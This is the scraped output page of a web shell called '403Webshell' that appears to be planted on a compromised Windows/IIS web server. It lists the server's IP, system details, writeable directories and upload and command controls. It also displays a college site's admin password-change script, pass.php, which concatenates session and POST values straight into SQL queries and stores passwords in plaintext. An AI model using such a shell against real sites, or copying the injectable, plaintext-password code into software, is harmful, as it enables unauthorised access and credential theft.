403Webshell
Server IP : 50.63.8.194  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT P3NWVPWEB026 10.0 build 17763 (Windows Server 2016) AMD64
User : IWPD_7824(SpiPanel) ( 0)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  G:/PleskVhosts/polyprep.in/mmitshamli.ac.in/mmit_shamli/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : G:/PleskVhosts/polyprep.in/mmitshamli.ac.in/mmit_shamli/admin/pass.php
<?php
session_start();
if($_SESSION['user']=="")
{
session_destroy();
header("Location:index.php?msg=3");	
}
$email=$_SESSION['user'];
include("connection.php");
$op=$_POST['op'];
//echo $op;
$np=$_POST['np'];
//echo $np;
$cnp=$_POST['cnp'];
//echo $cnp;
$query="select * from tbl_admin where email='$email'";
$res=mysqli_query($dbCon,$query);
if($row=mysqli_fetch_array($res))
{
	$pp=$row['password'];
	//echo $pp;
}
if($op==$pp)
{
		if($op==$np)
		{
			header("Location:change.php?flg=2");
		}
		else if($np==$cnp)
		{
			$query2="update tbl_admin set password='$cnp' where email='$email'";
			mysqli_query($dbCon,$query2);
			session_destroy();
			header("Location:index.php?msg=4");
		}
		else
		{
			header("Location:change.php?flg=3");
		}
}
else
{
	header("Location:change.php?flg=1");
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit